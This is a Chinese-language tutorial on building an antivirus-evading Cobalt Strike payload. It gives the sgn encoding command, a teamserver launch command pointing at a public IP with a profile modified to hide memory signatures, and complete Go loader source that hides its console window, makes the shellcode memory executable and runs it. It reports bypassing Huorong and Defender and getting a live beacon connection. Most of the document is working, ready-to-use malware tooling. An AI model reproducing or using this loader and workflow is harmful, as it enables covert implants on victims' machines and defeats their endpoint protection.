# 前言

本篇知识学习于大白哥,目前只能绕过 huorong,defender,各位师傅可用看一下。

# 无阶段 shellcode

1、同样先用 cs 生成无阶段 shellcode

# sgn 加密

2、利用 sgn 加密工具,将生成的 bin 文件加密

sgn -a 64 -c 1 -o pd.bin beacon.bin

# CS profile

3、cs 启动利用 修改过 cs 内存特征的 profile 文件

./teamserver 117.50.196.44 bp  bypasshuorong6.0.profile

# sctool 转换

4、将生成的 bp.bin 文件用 sctool 工具转化为十六进制,输出到 pb.txt 中
我已经将工具添加到环境变量中了

sctool -f pb.bin > pb.txt

# 生成 exe

5、将 pb.txt 中的 shellcode 复制到 buildfile.go 文件对应位置中

go build -o  1.exe buildfile.go

buildfile.go

package main
 import (
 "github.com/gonutz/ide/w32"
 "syscall"
 "unsafe"
 )
 func ShowConsoleAsync(commandShow uintptr) {
  console := w32.GetConsoleWindow()
  if console != 0 {
    _, consoleProcID := w32.GetWindowThreadProcessId(console)
    if w32.GetCurrentProcessId() == consoleProcID {
      w32.ShowWindowAsync(console, commandShow)
    }
  }
 }
 func Run(sc []byte) {
  f := func() {}
  *(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
  var oldfperms2 uint32
  syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect").Call(
    uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&sc)))),
    uintptr(uint(len(sc))),
    uintptr(uint32(0x40)),
    uintptr(unsafe.Pointer(&oldfperms2)))
  f()
 }
 func main() {
ShowConsoleAsync(w32.SW_HIDE)
 byteSlice := []byte{sgn加密后的shellcode}
 Run(byteSlice)
 }

# 免杀结果

绕过 huorong

绕过 defender

成功上线 cs